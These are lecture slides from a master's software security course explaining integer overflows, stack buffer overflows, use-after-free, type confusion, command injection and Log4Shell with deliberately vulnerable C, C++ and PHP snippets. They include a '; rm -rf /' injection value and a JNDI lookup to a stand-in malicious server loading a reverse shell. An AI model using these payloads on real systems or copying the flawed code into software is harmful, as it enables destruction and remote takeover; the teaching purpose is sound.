



Software security, secure programming

Lecture 3: Programming languages (un)-security Software vulnerability examples

Master M2 Cybersecurity

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Reminder

So far, we saw that:

- Unsecure softwares are (almost) everywhere ...
- Programming languages (quite) often contribute to produce unsecure software:
 - misleading syntactic constructions
 - weak typing constraints, lack of type safety
 - undefined behaviors, unexpected side-effects, lack of memory safety
 - etc.

\Rightarrow "source-level understanding" \neq actual code behaviour

But:

- how language weaknesses can be exploited at runtime ?
- what are typical intruder objective ?
- how can he/she operate ?

 \Rightarrow Let's consider concrete vulnerability examples to answer ...

Outline



The intruder

Arithmetic overflows and type conversions

Stack-based vulnerabilities

Heap based vulnerabilities

Type confusion vulnerabilities

Input validation

The "software security" intruder

Intruder objectives

What can be expected when running an unsecure code?

- break a CIA property, e.g., read confidential data ; modify sensible data ; get priviledged accesses ; execute code of his own, etc.
- break application availability (Denial of Service), e.g., "hang up" a server
- (silently) hide/inject a malware (Non Repudiation)

etc.

Intruder model

How can operate an intruder when running an unsecure code ?

As an external agent¹: control program inputs & execution environment

Examples:

- fully control the keyboard, the network, the input files content, etc.
- partially control env. variables, file system, other process/threads
- cannot modify the code², break cryptography, etc.

¹other intruder models may also be considered ... see later !

²not always a valid assumption !

How to "break" a software security as a regular user ?

 \hookrightarrow exploit (a combination of) several issues in the code \dots

Overconfidence in the user inputs

lack of (deep) defensive programming techniques, e.g.

User data must always be checked & sanitized before being processed

Examples: command injection, SQL injection, ...

Programming language weaknesses

lack of type safety and memory safety may affect **control-flow** and **data-flow integrity**

Example: a non valid memory access may change a **return address** or disclose a **password** . . .

Possible side-channels

(see in a few weeks)

etc.

(back to) Software vulnerabilities

An exploitable "bug", breaking some security property, w.r.t an intruder model

∃ several vulnerability taxonomies

(see https://cwe.mitre.org/about/sources.html) Possible classification criteria:

- unintended (bug) vs intentional vulnerabilities (Trojan horse, backdoors, etc.)
- specification/source/binary level vulnerability
- Iocation: application/operating system/hardware level
- etc.

 \exists some international databases to record known software vulnerabilities

- Common Weaknesses Enumeration (CWE) classification of general known weaknesses
- Common Vulnerability Exposure (CVE) exhaustive³ list of know vulnerability (for a given software)

∃ several secure coding standart

(w.r.t the programming language, application domain, intruder model, etc.)

Ex.: SEI CERT secure coding, MISRA, OWASP, etc.

³apart 0-days !

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Example 1: arithmetic overflows & integer conversions

Arithmetic overflows

- ▶ signed integers: $[-2^{n-1}, 2^{n-1} 1]$; unsigned integers: $[0, 2^n 1]$
- in case of arithmetic oveflow/underflow
 - Java: wrap-around (exception with Java 8 "exact arithmetic")
 - C, C++ : wrap-round if unsigned, undefined if signed
 - Python: no overflow (unbounded integers), what about decimals?

Type conversions

signed \leftrightarrow unsigned ; narrow \leftrightarrow large representation

- either forbidden, or explicitely / implicitely authorized ...
- well-defined value update or unspecified/undefined/implementation defined behavior
- C: very tricky rules !
- **Example:** in C if x+y overflows then
 - "undefined behaviour" if signed, wrap-around if unsigned ...
 - ... and if x signed and y unsigned ???

wrap-around + undefined behavior + implicit conversions = a dangerous coktail!

See rules 4 and 5 of the CERT Secure Coding Standard

Application to control-flow hijacking

```
unsigned int x ; // 32-bits unsigned integer
read (x) ;
if (x+1<10) {
// assume x < 9
// allocate x resources ...
} else {
    // assume x >= 9
}
```

 \rightarrow the "then" branch can be taken with $x = 2^{n-1} \dots$

```
signed int x=-1 ; // 32-bits signed integer
unsigned int y=1; // 32-bits unsigned integer
if (x<y) {
   ...
} else {
    // this should never happen ...
}
→ the "else" branch is always taken !
    (-1 being converted into a large unsigned value ...)
```

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Example 2: stack-based buffer overflows

From "Smashing the stack for fun and profit" (Aleph One- 1996) to HeartBleed (2015) ...

A historic (but still effective) way to drastically change a pgm control-flow ...


Memory organization at runtime

- 3 main memory zones the code, the stack and the heap
 - heap : dynamic memory allocations
 - stack : function/procedures (dynamic) memory management local variables + parameters + temporaries + ... + return addresses
- when a write access to a local variable with an incorrect stack address occurs it may overwrite stack data
- writting outside the bounds of an array is an example of such a situation (unless runtime checks are inserted by the compiler ...)

A "simple" recipe for cooking a buffer overflow exploit

- 1. find a pgm crash due to a controlable buffer overflow
- 2. fill the buffer s.t. the return address is overwritten with the address of a function you want to execute (e.g., a **shell command**)

Stack layout for the x86 32-bits architecture



http://www.cs.virginia.edu/~evans/cs216/guides/x86.html

Application to control-flow hijacking (1)

```
void main (int argc, char *argv[])
{
    char t;
    char t1[128];
    int i;
    t = 0;
    for (i=0;i<argc;i++)
        t1[i]=42;
    printf("the value of t is: %d \n", t);
    ...
}</pre>
```

Depending on the user-controlled value of argc:

- normal behavior (no overflow)
- crash (access to a non valid stack address)
- no runtime error but prints 42 as the value of t ...

Rks: the results obtained may depend on the compiler ...

- ordering of the local variables in the stack
- buffer overflow protections enabled/disabled by default (e.g., gcc -fstack-protector ...)

Application to control-flow hijacking (2)

```
int f ()
  char x[256]:
  char t1[8] ;
  int i:
  scanf("%s", x) ; // read a string into x
  strcpy (t1, x) ; // copy buffer x into buffer t1
  return 0 ;
int main {
     . . .
f();
. . .
}
The strcpy function does not check for overflows
\Rightarrow
 the return address in the stack can be overwritten with a user input
```

program execution can be fully controlled by a user ...

see next lectures !

Some variants on the same theme

Several stack elements direct the pgm control-flow:

- function return addresses
- pointers to functions
- addresses of objects methods (method tables)
- addresses of exception handlers
- etc.

All of them might be overwritten by user-controlled write operations, e.g.,

- using a buffer overflow to overwrite these locations
- overwritting a pointer to the stack
- overwritting an object
- etc.

See rules 6, 7 and 8 of CERT C secure coding standard

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What about the heap?

From the user point of view:

- a (finite) memory zone for dynamic allocations
- OS-level primitives for memory allocation and release
- At the language level:
 - explicit allocation and de-allocation: ex: C, C++ (malloc/new and free)
 - explicit allocation + garbage collection:
 - ex: Java, Ada (new)
 - implicit allocation + garbage collection:
 ex: CAML, JavaScript
 - \rightarrow numerous allocation/de-allocation strategies . . .

At runtime, the heap can be viewed as:

- a set of disjoints memory blocks
- each block is either allocated or free (not both !)
- an allocated block contain user data + meta-data
- meta-data are used to retrieve the underlying heap structure, e.g., block sizes, set(s) of free blocks, etc.

Example of (incorrect) heap memory management

```
void f (int a, int b)
{
    int *p1, *p2, *p3;
    p1 = ( int *) malloc ( sizeof (int)); // allocation 1
    *p1 = a;
    p2 = p1;
    if (a > b)
        free (p1);
    p3 = (int *) malloc (sizeof (int)); // allocation 2
    *p3 = b;
    printf ("%d", *p2) ;
}
```

what's wrong with this code ?

what may happen at runtime ?

Use-after-Free (definition)

Use-after-free on an execution trace

1. a memory block is allocated and assigned to a pointer p:

p = malloc(size)

- 2. this bloc is freed later on: free (p)
 - $\hookrightarrow \texttt{p}$ (and all its aliases !) becomes a dangling pointer
 - (it does not point anymore to a valid block)
- 3. p (or one of its aliases) is dereferenced

Vulnerable Use-after-Free on an execution trace

 $\rm p$ points to a **valid block** when it is dereferenced (at step 3) \Rightarrow possible consequences:

- information leakage: s = *p
- write a sensible data: *p = x
- arbitrary code execution: call *p

Use-after-free (example 1: information leakage)

```
char *login, *passwords;
login=(char *) malloc(...);
[...]
free(login); // login is now a dangling pointer
[...]
passwords=(char *) malloc(...);
    // may re-allocate memory area used by login
[...]
printf("%s\n", login) // prints the passwords !
```

Use-after-free (example 2: execution hijacking)

```
typedef struct {
void (*f) (void); // pointer to a function
} st;
int main(int argc, char * argv[])
{
 st *p1;
 char *p2;
 p1=(st*)malloc(sizeof(st));
 free(p1); // p1 is now a dangling pointer
 p2=malloc(sizeof(int)); // memory area of p1 ?
 strcpy(p2, argv[1]);
 p1->f(); // calls any function you want ...
 return 0;
```

Use-after-Free, a typical heap vulnerability

CWE-416: https://cwe.mitre.org/data/definitions/416.html Main characteristics:

- occurs when heap memory is explicitly allocated & de-allocated (garbage collection ⇒ no dangling pointers)
- ► difficult to detect on the code: 3 distinct events (alloc, free and use) → need to check long execution paths
- exploitability depends on how predictable/controllable is the heap content (allocation strategy, heap spraying)

In practice:

- mostly targets web navigators (IE, Firefox, Chrome, etc.)
 - object langage programming
 - objects \Rightarrow # heap allocation + method tables in the heap
 - overlap of several heap memory allocators multi-language applications, custom allocators
- but other applications impacted as well !

See rule 8 of CERT C secure coding standard

Type confusion example [C++]

```
class Base {}: // Parent Class
class Exec: public Base { // Child of Base Class
public: virtual void exec(const char *program)
         { system(program); }
};
class Print: public Base { // Child of Base Class
public: virtual void sayHi(const char *str)
         { cout << str << endl; }
};
int main() {
    Base *b1 = new Print():
    Base *b2 = new Exec():
    Print *q;
    q = static cast<Print*>(b1); // safe cast
    q->sayHi("hello world"); // call sayHi() function
          . . .
    g = static cast<Print*>(b2); // unsafe cast
    q->sayHi("/usr/bin/sh"); // call exec() function !
```

unsafe Print → upcast Base → downcast Exec conversion

Type confusion in practice

Yet another type safey violation:

intended type \neq actual type

Occurs in some weakly typed compiled languages:

C: no checks when using union types

C++:

upcast conversions always valid

- ► static verification of <u>downcast</u> conversion is NP-complete ⇒ efficiency vs security trade-off is left to the user:
 - reinterpret_cast: no check
 - static_cast: only partial compile-time checks
 - dynamic_cast: complete run-time checks (performance penalty)

May occur as well is some interpreted languages (Java, JavaScript, ...)due to interpreter bugs !

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Examples

Concatening command line arguments [C]

```
int main(int argc, char *argv[])
{ char name[2048];
strcpy(name, argv[1]);
strcat(name, " = ");
strcat(name, argv[2]); ... }
```

 \rightarrow what may happen at execution ?

Listing the content of a directory [PHP]

```
$userName = $_POST["user"];
$command = 'ls -l /home/' . $userName;
system($command);
```

 \rightarrow how to remove the whole filesystem using this PHP script ? ; rm -rf /

A root cause to many exploits: improper input validation

Invalid/Unexpected program inputs ~> 2 possible security flaws:

Buggy parsing & processing

ex: invalid PDF file \rightarrow buffer overflow \rightarrow arbitrary code exececution

input processing attack

Incorrect input \Rightarrow runtime error in the application ...

Flawed forwarding

ex: invalid web client input \rightarrow SQL query to DB \rightarrow info leakage

input injection attack

Incorrect input \Rightarrow forward an unsecure command to a back-end (database, OS, file system, Web browser, etc.) Untrusted facilities offered in many languages: C/C++ (system, execv, ShellExecute, etc.), Java (Runtime.exec), Perl, Python, JavaScript (eval), etc.

Why is it a problem ?

and possible solutions ...

numerous complex input formats

file processing (PDF, Flash, jpeg, etc.), protocols, certificate (x.509) not always well-documentyed specification frequent updates and extensions ...

→ huge attack surface !

- parsers (too !) often written/updated/corrected by hand (without automated parser generator from well-defined formats)
- mix between parsing / (partial) validation / processing
 - sanitization may be spread along the code (beware of "time of check - time of use !)
 - no clear distinction between trusted/sanitized & untrusted data
- ► use of low-level input representations: strings → a single weakly typed representation for many ≠ data (URLs, SQL commands, Unix commands, etc.)

etc. . . .

A concrete example: Log4shell

CVE-2021-44228

- disclosed by Apache in December 2021
- concerns the widely-used Log4 j java-based logging utility
- highest severity score (10.0) exploitable without authentication, leads to Remote Code Execution

How does it work ?

- log4j interprets Java environment variables: logger.info("Java version is " + \${java:version});
- ▶ it accepts JNDI⁴ requests to access remote resources
- allows to call and execute a remote resource on victim computer (remote code exuction, information leakage):

\${jndi:ldap://malicious-server/reverse-shell.class}

A powerful attack vector targetting servers, IoT, IIoT, etc.

 \Rightarrow Do not pass untrusted/unsanitized data to a JNDI lookup method!

⁴Java Naming Directory and Interface

As a (temporary) conclusion

Language level weaknesses exploitation

no type safety:

implicit type conversions, no conformance guarantee between "source types" and "runtime types"

- no memory safety: illegal memory accesses may occur at runtime
 > spatial vs temporal memory errors
- undefined behaviors, etc.
- ightarrow a long story: "Memory Errors: The Past, the Present, the Future" (V vd Veen at al)

\Rightarrow leads to unsecure binary code

- binary encoding of integer and reals (overflows ? wrap-around ?)
- stack overflows (read/write/exec arbitrary data in the stack)
- heap vulnerabilities (read/write/exec arbitrary data in the heap)
- type confusion (read/write/exec arbitrary data in memory)
- and many others ...!

Theses sources of unsecurity may be exploited by a (malicious) user, with no extra knowledge than the code itself ...

"simple" pgm crashes may often be turned on dangerous exploits !

Some interesting links

Google Zero Project: 0day Exploit Root Cause Analyses

From memory corruption to exploits ⁵

⁵SoK: External War in Memory (L. Szekeres, M. Payer, T. Wei, D. Song) - 2013 IEEE S&P